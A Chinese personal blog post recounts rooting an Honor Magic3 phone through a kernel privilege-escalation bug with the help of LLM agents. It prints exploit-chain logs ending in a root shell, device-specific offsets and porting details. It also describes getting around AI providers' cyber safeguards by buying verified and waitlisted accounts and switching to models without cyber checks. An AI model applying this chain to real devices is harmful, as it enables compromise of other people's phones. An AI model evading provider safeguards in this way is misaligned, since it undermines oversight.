六四——I pwned an HONOR Magic3 using DeepSeek-V4.1-Flash
经过反复思考,我决定还是把这篇文章放随笔区,因为文章内容的非技术部分还是占比更高。
- Device: Honor ELZ-AN00 · Android 11 · build ELZ-AN00 5.0.0.189(C00E183R6P1)
- Kernel: 5.4.86-qgki-g33a9ed8573e1 #1 SMP PREEMPT aarch64
- Config: user build, locked bootloader, CFI_CLANG + LTO_CLANG + THINLTO (non-GKI)
- Actor: uid 2000, CapEff=0, no root helper
junyu33@zjy-asus:/mnt/c/Users/junyu33/Desktop$ bash /home/junyu33/elz-phase2/notes/artifacts/root.sh -v "id"
[check] target-page sha256 = 3720fc0ef95b2c4d654c6a660b211ee00eafac2bb37d85f5697dd483673a19d4
[chain] starting the chain (uid 2000 -> uid 0), about 40 s
=== P1: first bounded kernel write on the phone (uid 2000, no root, no GDB) ===
[0] links: T=0xffffffc012aae588 (ashmem_misc+0x10) read_jt=0xffffffc01182ae6c write_jt=0xffffffc01182b88c open=0xffffffc0101bd7a0 rt_mutex_init_waiter=0xffffffc0103686b4 do_futex=0xffffffc0103b3f04
[S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
[S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
[S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
...
[chain] ready (uid 0 pty on 127.0.0.1:31337, adb forward active)
--- chain summary (154 lines) ---
[S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
[S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
[S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
...
[S0-SLIDE] d=0x190 samples=28163 candidates=2 best=0x2bc3a00000 votes=27395 second=135
[S0-SLIDE] SLIDE=0x2bc3a00000 runtime_text=0xffffffebd3a80000 runtime_etext=0xffffffebd5240000
[S0-SLIDE] kernel IPs in [_text,_etext)=150000/150000
...
[7B] KREAD *(V+0x10)=0xffffffebd522ae6c (==read_jt: 1) *(V+0x18)=0xffffffebd522b88c (==write_jt: 1)
...
[P1C-DAEMON] RESIDENT anchor_pt=/dev/pts/0 anchor_fd=3 window_pipe=held_by_parent listening=127.0.0.1:31337 uid=0 pid=7880
[P1C-DAEMON] each connection forks a session child with its OWN pty+shell; this process never exits
...
[CRIT] pos_uid0=1 pos_gid0=1 pos_caps=1 pos_mount0=1 neg1_mount=-1 neg2_uid=2000 init_sid=1870 count_win=1848 sid_written=1 page_ctl=0
[END] *(T) restored to 0xffffffebd5cba298 (== ashmem_fops+slide: 1)
[T] round segment = 24680 ms
--- end summary ---
[shell] id
id
:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0:c999
:/data/local/tmp #
引子
2026 年 7 月 9 日,我的朋友 misane 向我转发一篇微信公众号,内容是 Nebula Security 公开了一个潜藏 15 年的 Linux LPE GhostLock,影响当时 kernel 版本 2.6.39 至 7.1 的所有发行版。在 7 月 15 日,Nebula 展示了利用该漏洞 root Android 17 的全过程。当时的我自然是饶有兴趣,想立马在我的旧 Honor Magic 3 进行操作,但忙于论文投稿,我不得不将此事搁置下来。
但两个月之后的 9 月 18 日,在无法解 bootloader 锁的情况下,我终于在屏幕上看到了那个 # 和 uid=0——虽然由于 SELinux 的限制,我能做的事情十分有限,但这也让我足够爽了一把。
当然,代价自然也是惨重的(笑),我花了一周的时间外加 200+ CNY,烧了 deepseek-v4.1 flash 的 30 多亿 token 做 agent orchestration,最后才像盲人一样跌跌撞撞走到目标——毕竟上次玩 kernel pwn 恐怕是四年以前了。
前期探索
既然我们现在知道了这个漏洞,想要 pwn 掉身边的那台手机,为了让过程尽量丝滑,消除不确定性,最好按照以下几个步骤:
- 确认手机的 kernel 版本,Android 最新补丁日期等相关字段,来判断这个手机是否受影响。(当然这是显然的,否则不会有这篇文章了)
- 找到你手机 OS 版本对应的开源 kernel source。理论上,根据 GPL 协议,手机厂商是必须公开的——但有些国内厂商也可能说一套做一套,发邮件几周不回。然后把手机刷机到那个版本。
- 根据对应的 kernel source,以及手机厂商公开的一些 device tree 文件,构造出 kernel config 尽可能相同的 Linux 模拟环境,包括但不限于 arch、编译器版本等。当然也不可能做到完全相同,举个例子:构建 TEE 相关的内核组件时,厂商显然不会将它的签名私钥附在开源文件中。
- 你现在有了一个 Linux 模拟环境,比如说 QEMU,那就开始根据官方 writeup 复现每个步骤,然后慢慢撤掉一些脚手架,比如说开启 LTO+CFI、开启 KASLR,接着撤掉 debug symbol,最后到即使不依赖 gdb 也能 get rootshell。
- 最后就是拿着你在 QEMU 通关的 exploit 脚本,真正的到那台手机去盲调。这个过程的耗时就很不确定了,运气好可能一两次迭代就解决了所有 bug 或者 discrepancy,否则可能永远就卡在最后一步,不知道是哪个 offset 差了几 byte——甚至更坏的,某些 discrepancy 导致利用从理论上就根本不可能发生。
准备刷机基础设施
我们的目的是为了 get rootshell,但并不是任何一个版本刚好都可以成功(或者有对应源码)——所以通过刷机更换系统版本是在所难免的。而刷机有风险,所以第一件要做的事情是备份现有数据。备份的过程不属于这篇文章讨论的范围内。
备份之后,后顾之忧就少了很多。对于这台特定的 ELZ-AN00 设备,闲鱼上可以搜到对应的降级包,价格为 1 CNY 左右,可以一直从 MagicOS 8.0 一路降回 MagicUI 5.0。为了避免刷砖的风险,另一个重要但非必须的工具就是 9008 模式下用的 firehose,可以从物理意义上直接读写手机上的非安全世界分区。这样即使意外真的出现,也可以写回之前的分区备份把手机救回来。
对于 firehose,我刚尝试搜了一下相关关键词,发现自己找不到之前下的那个站了,而且其他的站也大多需要登录/付费。幸好我这里还留有一份,如果确实有需要的可以发邮件。
除了刷机包和 firehose 之外,另一个重要的 ingredient 就是官方的源码,这台设备算是比较幸运,在荣耀国际站中可以搜到两个版本:
- ELZ-AN00_MagicUI5.0_Code_Opensource,荣耀 Magic 3
- MagicOS8.0-ROM-Elizabeth_MagicOS8.0_Opensource,荣耀 Magic3 Pro, 荣耀 Magic3, 荣耀 Magic3 至臻版
刚好对应那个一元刷机包的一头一尾两个版本。我之后的工作也是在 8.0 的最后真机调试中遇到了阻碍,最终在 5.0 版本利用成功。
硬件这边的话,闲鱼降级包是卡刷包,走 recovery 通道。因此我们需要一个支持 Type-C 接口的 U 盘,否则的话一个转接头是在所难免的。
用什么模型辅助?
引子里说到我上次打 CTF pwn 是四年以前,当时我即使是天天刷 BUUCTF,也只是刚刚学会那几个 house of xxx 的利用技巧,kernel 这边也才搞懂 ret2usr 的大概流程。但在 AI 的加持之下,虽然我无法(也没有时间与精力)check 每一个利用过程的细节,但大方向是否走对,我还是能够理清楚的。既然决定 get LLM's hands dirty,首当其冲的问题就是选择哪个 LLM,当时(8 月上旬)的情况是这样:
- GPT:我正在用,有一个 Plus 订阅,5 小时限制还没回来,并且有足够多的重置卡可以用来试错。但做 exploit 需要 cyber,可以闲鱼几十块代验证。但当时还在等论文 rebuttal,不想号被封了 rebuttal 的 context 没了,得不偿失。
- Claude:Mythos/Fable 5 肯定是当时 LLM 中最顶流的水平,我也有一个 23 年的号至今未封。但我当时仍然害怕封号,并且 CVP 价格更贵(数百元),所以没有考虑。
- Gemini:美国豆包不考虑,几个月前测完智商后就没用了。
- Kimi:当时 K3 刚出来不久,排名在 lmarena.ai 中排到了国模第一,并且没有 cyber 审查。缺点是价格略贵(但提供报销渠道),学长说 token 比较少,而且还要等 waitlist。
- GLM:学长推荐的国模。但最近套餐也改版了,价格比 Kimi 更贵,但 token 更多。能力略逊于 Kimi。
- DeepSeek:也没有考虑,当时 v4-flash/pro 排名远劣于 Kimi/GLM。
所以当时在 Kimi 和 GLM 中纠结,但我最后还是决定选择 Kimi,原因是我高中有部分人脉在月之暗面,我打算说清楚自己的背景和目标,尝试通过圈子看看能不能 refer 出去,来跳过 waitlist,获得一点测试机会什么的——结果给我 refer 到了 OpenHarmony CTF 上面去了,问我要不要参赛,感觉甚至比不 refer 的效果更糟。
没办法,我决定亲自接触那个月之暗面“相关人士”,我做了三件事:
- 尝试找那个人的 X 私信,结果他不开放陌生人私信
- 亲自发邮件联系,没有回应
- 甚至 PR 了那个人相当早的一个 GitHub 项目,但也没有任何回应
看来这条路也走不通,于是我找到了之前那个学长问他有没有用过 Kimi,他说他有号,但因为公司隐私原因不方便借出去。但他给我指了一条路,那就是闲鱼买通过 waitlist 的号。结果很简单,花了九十多就解决了。
现在看来,当时没选 GLM 是多么正确的选择。
接下来就是又花了 199 购买了 Allegretto 套餐(反正可以报销,无所谓),然后我已经让 GPT 对照漏洞仓库帮我算出来一些手机上面的 offset,然后开始直接上 Kimi-K3,扔给它一个 /goal,内容是类似“找到与真机最接近的 kernel 版本,尝试在 qemu 复现这个漏洞,拿到 root shell”这种粗犷的 prompt。当时我手机的 kernel 版本是 5.4.289,它找到了一个 5.4.200 的 Ubuntu 镜像,经过了几天反复 5h 限制的等待,最后在我“允许通过 gdb 辅助查看相关地址”的情况下,真拿到了一个 qemu root shell!
当然之后的事情没有那么顺利,我让它尝试去掉这个 gdb helper,他反复试了很长一段时间没有进展;我尝试让它适配真机,他说理论上不可能成功。最后额度还哐哐掉,而且网页对话也算额度,差不多两周就把一个月的量耗完了——那位学长也确实没说错。
在 rebuttal 之前的 8 月 18 号,我决定狠下心来再花 95.4 来做 GPT 的 cyber 代认证。成功之后,烦人的 cyber 弹窗的确消失了不少,但也不是不复存在。当时的印象中 GPT-5.6 的确有所推进,但不幸的是第二天(也就是 19 号),OpenAI 因为“cyber 认证迁移至 Daybreak 时,部分 cyber 用户信息丢失”这种“技术性原因”,我的 cyber 掉了。好心的商家虽然明说“验证成功之后意味着服务结束,不接受退款”,但看我只用了一天,还是给我退了。
之后我想马上重新验证,但考虑到之后 rebuttal 如果给我封号得不偿失,再加上 9 月 1 号之后又有硬件 FIDO key 的要求,我便没有继续冒险 cyber 认证,而是选择用没有内置 cyber 检测的模型(比如说 GPT-5.4 / 5.6-luna)继续 exploit。这下不仅模型这边反复说“我自己找到了前面的一个矛盾”,而且 cyber abuse 邮件也连续吃了三封(虽然申诉之后都给我 sorry 了),事情是一点儿也没有进展。
等 rebuttal 彻底结束,9 月 1 号之后我再上闲鱼,发现 cyber 认证已经不是之前几十块的价格了——仅仅认证都要六七百,即使是学长介绍的熟人渠道也要 350,成品号的话要 1000,而 plus/pro 20x 甚至冲到了 2300/3900 这种荒谬的高度。而认证这边,账号要求也很高:
- 之前从未认证过
- 已经开了 plus/pro
- 账号至少注册了一个月以上
更重要的是即使满足这些条件,也不一定能过,过了也不保证将来 cyber 掉或者账号被封。虽然我也不缺那几百块,但我也一直在纠结为了 root 这个一次性消费,花至少 350+140=490(因为之前那个号已经废了),并且再次承担这么多风险是否值得,直到——
DeepSeek V4.1 Flash 的出现,终结了我的抉择。
正式开始
9 月 10 号,DeepSeek V4.1 Flash 正式上线。成本方面(在低峰时段)和原来的 V4 Pro 对比如下:
| 模型 | deepseek-flash | deepseek-v4-pro |
|---|---|---|
| 模型版本 | DeepSeek-V4.1-Flash | DeepSeek-V4-Pro-0813 |
| 上下文长度 | 1M | 1M |
| 输出长度 | 最大 384K | 最大 384K |
| 图像理解 | 支持 | 不支持 |
| 百万 tokens 输入(缓存命中) | 0.02 元 | 0.15 元 |
| 百万 tokens 输入(缓存未命中) | 1 元 | 4.5 元 |
| 百万 tokens 输出 | 4 元 | 13.5 元 |
| 并发限制 | 2500 | 500 |
更重要的是 Cyber 能力:
| Benchmark | V4 Pro 0813 | V4.1 Flash | 变化 |
|---|---|---|---|
| CyberGym | 83.3 | 88.1 | +4.8 |
| SEC-Bench Pro | 56.4 | 62.8 | +6.4 |
| ExploitGym | 5.4 | 15.3 | +9.9,约 2.83× |
我们可以总结出以下两点:
- 我的 kernel pwn 场景,肯定是长对话,而且 context 是整个利用链相关的代码以及对应的运行日志,并且会反复调试,这会把缓存命中率冲得很高(实际测试大部分时间也在 99% 以上)。所以简单求一个极限就可以得出在使用相同数量 token 的情况下,V4.1 Flash 的成本会是 V4 Pro 的 1/7 以下。
- benchmark 方面,因为是什么漏洞我们早已知道,要做的事情就是从这个漏洞获取 root shell 的全过程,因此更匹配的 benchmark 是 ExploitGym。官方的测试指标是看 2h 以内能攻克的 case 比例,这点 V4.1 Flash 比 Pro 是将近原来的 3 倍,再加上我的耐心显然不止两小时,因此能否达到最终目标 flash 还是值得期待的。
再加上 DeepSeek 本身不会因为像 GPT 那样给你弹 cyber 弹窗,让你的工作无法继续下去,所以只要它能够真的推进,别像 GPT-5.4 / 5.6-luna 反复兜圈子就行。于是我开始猛猛给 DeepSeek API 充值,进行下一轮攻坚。
选哪个 MagicUI/MagicOS 版本?
我最开始的选择是利用之前 kimi/GPT 5.4 在 MagicOS8(Linux 5.4.242)的部分适配,继续做下去,之后 DeepSeek 告诉我一个残酷的事实:
MagicOS8 sepolicy 没有 shell 的 ashmem 规则!
而这又是 IonStack 中最核心的一步——所以这个版本搞不了,前面算的那些 offset 全作废了。
没办法,我只能拿起之前准备的基础设施开始降级。一个显然的安全直觉是版本越低,已经被发现的漏洞肯定越多,事实上我发现版本 5.0.0.189 至少有两个 CVE 可以触发:
- CVE-2026-43499,就是这个 IonStack.
- CVE-2022-20421,Binder race → binder_proc spinlock UAF.
只不过后者是一个 race,因此成功率不是很高;而 IonStack 有 97%,所以我就自然按照 IonStack 做下去了。
如何指挥“三个臭皮匠”?
我的做法是,将三个 LLM 分成一个 master 和两个 slave:
- master 节点使用原来的 CyberMeowfia 仓库,可以看到官方的 poc 和 exp。只给出抽象的下一步方案,不直接操作 slave 的 qemu 和 adb 连接的手机。
- slave 节点接受来自 master 节点的方案,并将自己生成的调试脚本写到自己新建的干净 git 仓库中,同时每一步操作完也如实编写当前的状态报告并 commit。
- 用两个 slave 节点的原因是,有一些任务是互相独立的,一起执行可以提高推进的速度。
数据交互方面,master 可以检查 slave 仓库中的报告来判断目前项目的进展,并给出针对性的 next step。而 slave 这边我并没有给出 master 仓库的路径,原因是避免“注意力干扰”和吸收之前用 kimi/GPT 5.4 调试时产生的错误 offset。
那么 trigger 是什么呢?我先给 master 节点输入了 Nebula 的两个链接(也就是之前的 ionstack-part-2/3),然后告诉了目前项目的 context:
这是一个 Honor Magic 3 设备,尝试读取设备相关信息,并开始根据这两个链接的步骤和你手中的仓库,进行 PoC 移植。
并强调合法安全研究背景,喂给它我在前期探索那一节说的那五个步骤后,命运的齿轮就开始转动了。
当然,V4.1 Flash 的幻觉依然存在,master 它自己也有可能犯错,所以在 qemu 打通之前,我的 prompt 也要求每一次审查并验证 slave 的报告之后,自己也要调用一个没有任何 context 的 adversarial subagent 看看 master 自己的总结报告有没有 inconsistency。
当然,adversarial subagent 自己可能也有幻觉,但这两个乘起来的概率已经相当低了,不足以影响这个项目,所以我选择忽略这种可能性带来的影响。
剩下的事情就是看你要不要更自动化一点,你可以选择再用一个 computer use 比较好的 LLM(比如说 GPT-6 Astra)做不同 session 之间 prompt 的搬运。但我的经验是,每一个 prompt 的任务至少都有 40min 以上,频率并不高。所以与之相反我认为更重要的事情是盯着 master 列出的下一步计划,看看有没有明显偏题的地方——结果偶尔还真出现几次。
所以除非 LLM 的长程记忆真的仍然记得上百个 prompt 之前那个真正重要的 mission/step 是什么(注意这不是幻觉问题),human-in-the-loop 还是有必要的。毕竟省下来的 token 费用和时间,可能真的能盖过人工的成本。
Root 之后还能下一步吗?
目前的答案是 No。
这个工作虽然是 uid=0(root) gid=0(root) groups=0(root),但 context 仍然在 u:r:shell:s0:c999,而手机上这一版的 SELinux 策略中,对文件读写的权限在 init 或者 fs_type:filesystem mount,而不是当前的 shell 域,SELinux 策略也是在 Honor 在编译期写死的,即使有 root 权限也关不掉。
当然我这里也尝试了一下更换 SELinux 标签,从 u:r:shell:s0 换成了 u:r:init:s0,并 mount("tmpfs", MPS[0], "tmpfs", 0, NULL) 返回 0。所以换域 mount 是可行的,只不过由于没有 Bootloader 解锁,AVB 会让修改无法持久化,Magisk 仍然是无稽之谈。
与 Nebula 官方的思路差异
这部分偏技术细节,我就直接贴 DeepSeek 的输出了:
只讲 IonStack 这条线。官方 WP = 公开文章里的五步链;"本机事实"都能在仓库里查到行号。
一句话总览
| 官方 WP 步骤 | 本机是否照做 | 差在哪 |
|---|---|---|
① pselect 回收栈 + 伪造 rt_mutex_waiter |
结构改了 | 落点偏移显式化(shift=10);两个字段在本机不存在;默认的"镜像地址形状"在本机被实测否定,改用自持页内的自引用形状 |
② boot_id/loggers 泄漏 KASLR |
思路保留,可信度被否 | 偏移改用别名换算;外加 boot_id 轮询当"写有没有落地"的 oracle;另有一条官方没有的 ashmem_fops 别名读数取 slide |
③ ashmem fops → configfs 处理器 |
槽一样,函数不同 | 用 configfs_read_file/configfs_write_bin_file;旧式 jump-table CFI 要求"扫 b <body> 求槽",kallsyms 的 *.cfi_jt 符号地址是错的 |
④ pipe_buffer → 任意读写 |
机制一样,前提相反 | 官方 VMEMMAP/physmap 固定可直接换算;本机线性映射随机化,必须先探别名 |
| ⑤ cred + SELinux + seccomp | 一样 | 常量全本机化;selinux_state 是"符号+0x1"的字段;先经历一次 kallsyms 抽取器缺陷导致整块重导 |
前提(决定后面每一步)
CLI/CFI 代际不同,这是最大的结构性差异。 官方说 Android 从 2022 起改用签名式 kCFI,所以"同签名替换"就够。本机是 Android 11 / 5.4.86,用的是旧的 jump-table CFI——kallsyms 里有成片的 *.cfi_jt 符号。于是:
- 写进伪 fops 的值必须是跳表槽,不是函数体;
- 而
*.cfi_jt的符号地址并不指向它名字对应的函数(实测:configfs_read_file.cfi_jt那个槽b到 0x563324,完全是别的函数)。可靠做法是"符号表拿函数体地址 → 扫全 Image 找b <body>"两步。8.0.0.117 上 4 个常量因此全部推翻重取(CONFIGFS_READ_ITER 0x18b3c50、CONFIGFS_BIN_WRITE_ITER 0x18b499c、NOOP_LLSEEK 0x18aba58、COPY_SPLICE_READ 0x18a0cbc)。官方 WP 语境里不存在这一步。
线性映射随机化方向相反。 官方:1db780bafa4c 已去掉 arm64 线性映射随机化 → physmap 固定,可直接 VA↔page。本机 5.4 还没有这个提交;ELZ 的 target.h 直接写着 DIRECT_MAP_BASE/END、VMEMMAP_START 不是运行时有效常量,必须在 KERNELSNITCH_IDENTITY_START..END 里探别名,"never treat DIRECT_MAP_BASE/END as truth"。util.c 里还为此分了 truephone / sim 两套 profile。
厂商私有 config 改布局。 CONFIG_HN_VIP_THREAD=y 让 struct mutex 变 40 字节,struct configfs_buffer 的 page/needs_read_fill/bin_buffer/bin_buffer_size/cb_max_size 整体下移(5.4.86 与 5.4.242 两个 target 的值就不一样,见 target.h 里那段注释)。官方目标没有这个 vendor 开关。
① 栈回收 + 伪造 waiter
- 落点偏移:官方口径是"帧深度和 syscall 可达性随镜像变"。本机把它变成了一个显式常量:
PSELECT_WAITER_WORD_SHIFT 10,target.h里注明"Android 上的 pselect reclaim 落在真实 waiter 前 0x10 字节",所以伪 waiter 要用"紧凑 waiter-local 布局"(word2-4=tree_entry、5-7=pi_tree、8=task、9=lock、10=prio、11=deadline),而不是官方默认的通用形状。同处还记录了一次事故:之前误用通用 fallbackshift=0,结果 boot_id 一直只是普通 UUID。 - 字段不存在:本机
rt_mutex_waiter没有wake_state、没有ww_ctx(RT_MUTEX_WAITER_HAS_WAKE_STATE=0/HAS_WW_CTX=0;commitd1edcb4"guard wake_state/ww_ctx writes in put_p9_slide_waiter (fields absent on Honor 5.4)")。官方 WP 里这两个字段是伪造 waiter 的一部分,本机整段关掉。 - 默认形状被实测否定(我认为这条最重要)。官方默认形状把关键 qword 指向镜像内固定地址(
loggers/boot_id)。本机slide.c:780-788的注释写明:设备 boot 时 KASLR 是开的,这些烘焙地址运行时无效,rb_erase会把 q0 当 rb_node 解引用、*q2=q0落进被随机化的.data,直接把 walk 打死。于是改成 R1' 自引用形状:q0/q3 指向自己拥有的 direct-map 页里的假 rb node,q2/q5 指向同页 scratch qword——整个 write 原语不再依赖任何镜像 slide。 - 触发侧多了一个官方没有的调度消费者(consumer)/ mcast arm 机制(
SLIDE_CARRIER_NO_CONSUMER等),用来把 walk 卡在正确的时刻。
② KASLR 泄漏
- 官方路线(受限写把
sysctl_bootid.data指到loggers[0][1],读/proc/sys/kernel/random/boot_id当 UUID 收回&nfulnl_logger)在本机代码里保留了:slide.c:1981-2035 slide_read_stext(),target.h里SLIDE_NFULNL_LOGGER_OFF/SLIDE_LOGGERS_0_1_OFF/SLIDE_RANDOM_BOOT_ID_DATA_OFF/SLIDE_SYSCTL_BOOTID_OFF都在。 - 但三处不同:
- 算 slide 用的是
p0_alias_image_offset(SLIDE_NFULNL_LOGGER)(别名/物理偏移换算),不是官方那种 vmlinux 已知偏移——因为SLIDE_*锚点的 provenance 在这个 build 上没重导,target.h明说"cannot be treated as verified"。 - 多了一个全窗口 boot_id 轮询线程(
slide.c:205,commit R1.5/R1.6),把"boot_id 有没有变成 UUID"当成受限写是否落地的判定 oracle;R1.5 的结论是 no overwrite observed。官方读一次就完事,不需要 oracle。 - 本机还多一条独立的 slide 路线:
fops.c:684 leak_kernel_base()读线性映射别名上的ashmem_fops表(镜像里这张表是全 0,真实指针由 boot 时.rela.dyn填),用kaslr_base = ashmem_open_ptr - (ASHMEM_OPEN - KIMAGE_TEXT_BASE)反推,再用 ioctl/mmap/release/show_fdinfo 四个槽交叉校验(fops.c:719-758),任何一项不匹配就kaslr_step=1/2退出。官方没有这条。
- 算 slide 用的是
③ fops 劫持
- 槽位一样:
fops.c:662-663写FOPS_READ_ITER_OFF/FOPS_WRITE_ITER_OFF(0x20/0x28)——和官方"换 read_iter/write_iter"一致。 - 处理器不一样:本机放的是
configfs_read_file和configfs_write_bin_file(CONFIGFS_READ_ITER/CONFIGFS_BIN_WRITE_ITER),不是同名的configfs_read_iter/write_iter。加上llseek→noop_llseek(repair_fake_fops_llseek(),fops.c:646)和splice_read→generic_file_splice_read(fops.c:669)——官方描述里只提 read_iter/write_iter 这一对。 - 其余槽(ioctl/compat_ioctl/mmap/open/release/show_fdinfo)本机保留原值并逐个校验(
fops.c:664-670与722-758的kaslr_expected_*比较)。 - ashmem 入口这条路和官方一致:
util.c:476 init_ashmem_path()先试/dev/ashmem<boot_id>,取不到 boot_id 才回退扫/dev里的 ashmem 节点——只是本机必须自己实现回退扫描(兼容 SDK 30)。
④ pipe_buffer → 完全任意读写
- 官方:
VMEMMAP固定 → 直接 VA↔struct page*,改pipe_buffer.page即升级为任意读写。 - 本机:不能直接换算,必须先探线性映射别名;
PIPE_INODE_INFO_SLOTS_PER_PAGE 28、PIPE_*、STRUCT_PAGE_*全部用本机 config 编出来的内核跑 pahole 核对(一次审计 49 个常量 0 不匹配)。 - 官方没有的中间层:
TMP_PAGE_UNAME路径 +run_tmp_page_uname_stage()(main.c:260-275,还支持SLIDE_SKIP_SLIDE的 direct-map 路线),以及 AF_UNIXMSG_PEEK物理回读通道 和"五 qword 写 + canary 回读"里程碑(STATUS.md 的 r46/r50/r57/r114 段),外加pipelenoracle(a5630c3/de69c57)。真机没有调试器,只能自建回读来判断写有没有落地;官方在 kernelCTF 里重跑就行。
⑤ cred / SELinux / seccomp
- 同一步,但常量全部本机化:
SELINUX_ENFORCING_OFF = selinux_state + 0x1(是符号内部的字段,5.0.0.189 从 0x2c9d001 改成 0x2c9c001);TIF_SECCOMP_BIT 11、PFA_NO_NEW_PRIVS_BIT 0、SECCOMP_MODE_OFF 0x00/FILTER_COUNT 0x04/FILTER 0x08取自 Honor arm64 source/config;CRED_*、TASK_CRED_OFF 0x880(还排掉过一次ptracer_cred的正则误报)。 - 多出来的前置工作:本机最初那 21 个符号常量来自有缺陷的 kallsyms 抽取器(
image5486的 offsets 常量高 4 字节 → 每个值其实是下一个符号的地址),必须整块重导(commit6cbbd79)。其中 19/21 是"该符号自己的 kallsyms size",两个例外是结构体字段(ashmem_misc.fops = +0x10)和符号内字段(selinux_state.enforcing = +0x1)。官方有准确的 vmlinux,不存在这类来源缺陷。
没变的部分(免得把差异说过头)
- 漏洞本体没动:
FUTEX_WAIT_REQUEUE_PI+FUTEX_CMP_REQUEUE_PI代理路径、danglingpi_blocked_on、rb_erase给受限写(slide.c:2064)。 - 回收 syscall 仍是
pselect(官方原文也点了 clone/setsockopt/keyctl 这一类)。 <boot_id>命名的 ashmem 节点、ASHMEM_SET_NAME把private_data当configfs_buffer的玩法,都和官方一致。
量化证据:本机把阶段代码整个 fork 了
与上游同名 stage 文件对 diff(exploit/src/*.c vs targets/ELZ-AN00-5.0.0.189/*.c):
| 文件(对应 WP 步骤) | 上游行数 | 本机行数 | + | − |
|---|---|---|---|---|
slide.c(① ② 触发/泄漏) |
1343 | 2205 | 1320 | 550 |
pipe.c(④ 任意读写) |
845 | 1986 | 1196 | 160 |
util.c(页准备/别名/探针) |
1037 | 1463 | 633 | 233 |
fops.c(③ 劫持 + slide 校验) |
445 | 991 | 535 | 34 |
preload.c |
404 | 536 | 140 | 18 |
main.c(阶段编排) |
269 | 311 | 99 | 59 |
root.c(⑤) |
446 | 521 | 84 | 14 |
即:官方五步里改得最少的是第⑤步(cred/SELinux),改得最多的是第①/②步(触发与泄漏)和第④步(物理读写前提)。另外本机还建了官方没有的工作台:qemu-honor-5.4.242 的 nokaslr root-shell 复现(6457819,2 次复现)+ CFI smoke harness(37672a2)+ sim/truephone 双 profile,先把 Honor 5.4 的 rtmutex walk 与假 waiter 形状离线跑通再上真机;以及一次日志保真度修正(历史日志没有 fdatasync,所有 panic 位置推断被降级为"不早于最后一个保留标记")。
一句话:官方是"新内核 + 签名式 CFI + 固定 physmap + 可重跑靶场"上的一条链;本机是"5.4 vendor 内核 + 旧式跳表 CFI + 随机化线性映射 + 真机不可重跑",所以第①②④步几乎重写,第③步换了处理器并踩了 .cfi_jt 的坑,第⑤步只是换了常量。
后记
如果有人问我:你将来又不做这个东西,你也不知道整个链条里面的全部细节,那你花这两百多的目的是什么?
我会回答:
爽一次就够了。
我并不打算靠这个吃饭,但很高兴人生里真的做过一次。
junyu33@zjy-asus:/mnt/c/Users/junyu33/Desktop$ adb.exe devices
List of devices attached
AYYK022106002863 device
junyu33@zjy-asus:/mnt/c/Users/junyu33/Desktop$ bash /home/junyu33/elz-phase2/notes/artifacts/root.sh -v "id"
[check] target-page sha256 = 3720fc0ef95b2c4d654c6a660b211ee00eafac2bb37d85f5697dd483673a19d4
[chain] starting the chain (uid 2000 -> uid 0), about 40 s
=== P1: first bounded kernel write on the phone (uid 2000, no root, no GDB) ===
[0] links: T=0xffffffc012aae588 (ashmem_misc+0x10) read_jt=0xffffffc01182ae6c write_jt=0xffffffc01182b88c open=0xffffffc0101bd7a0 rt_mutex_init_waiter=0xffffffc0103686b4 do_futex=0xffffffc0103b3f04
[S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
[S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
[S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
[S0-ENV] uptime=45.69
[S0-KNOB] perf_event_paranoid=-1
[S0-KNOB] unprivileged_bpf_disabled=EACCES
[S0-KNOB] perf_event_max_sample_rate=100000
[S0-ZONE] start_pfn=525824 spanned=2095616 MemTotal=7526044 kB => memstart=0x80000000 vmemmap=0xfffffffefde00000 physvirt_offset=0x8080000000 (I49 formula)
[SID] D files=27 distinct=9
[S0-SID] D=9 entries0=1851
[SID] CTX_WRITE 'u:r:init:s0:c999' rc=16 errno=0
[SID] XEC entries 1851->1852 delta=1 ctx='u:r:init:s0:c999' readback='u:r:init:s0:c999' match=1
[S0-SID] init_sid=1870 (formula (entries0-D)+28, fresh=1)
[SID] CTX_WRITE 'u:r:shell:s0:c999' rc=17 errno=0
[SID] XEC entries 1852->1853 delta=1 ctx='u:r:shell:s0:c999' readback='u:r:shell:s0:c999' match=1
[S0-SID] shell_sid=1871 (formula (entries0-D)+28, fresh=1)
[S0-ASH] OPEN(/dev/ashmem19831966-28f0-4e7a-b177-25b40f829564) fd=3 errno=0
[S0-ASH] SET_NAME rc=0 errno=0
[S0-ASH] GET_NAME rc=0 errno=0 back='P1MARK-00001ec4-0000b284' match=1
[S0-ASH] SET_NAME(blob) rc=0 errno=0
[S0-ASH] PRECONDITION OK
[V] victims forked: p1v0=7877 p1v1=7878 p1v2=7879 p1v3=7880 p1v4=7881 | sid types: p1v0=init p1v1=init p1v2=init p1v3=shell p1v4=init
[W] LOCK_PI rc=0 errno=0 tid=7882
[TID] W tid=7882 T0 tid=7883
[PERF] OPEN pid=7882 period=20000 fd=3 data_offset=4096 data_size=262144 errno=0
[DBG] warm ms=534 nkern=20247 nrec=20247 iters=444229
[DBG] warm ms=1076 nkern=40555 nrec=40555 iters=897829
[DBG] warm ms=1612 nkern=60702 nrec=60702 iters=1343429
[DBG] warm ms=2145 nkern=80946 nrec=80946 iters=1788992
[DBG] warm ms=2693 nkern=101683 nrec=101683 iters=2250132
[DBG] warm ms=3230 nkern=121984 nrec=121984 iters=2701596
[DBG] warm ms=3761 nkern=142117 nrec=142117 iters=3148164
[DBG] warm ms=4291 nkern=162190 nrec=150000 iters=3593843
[DBG] warm ms=4815 nkern=182017 nrec=150000 iters=4033486
[chain] ready (uid 0 pty on 127.0.0.1:31337, adb forward active)
--- chain summary (154 lines) ---
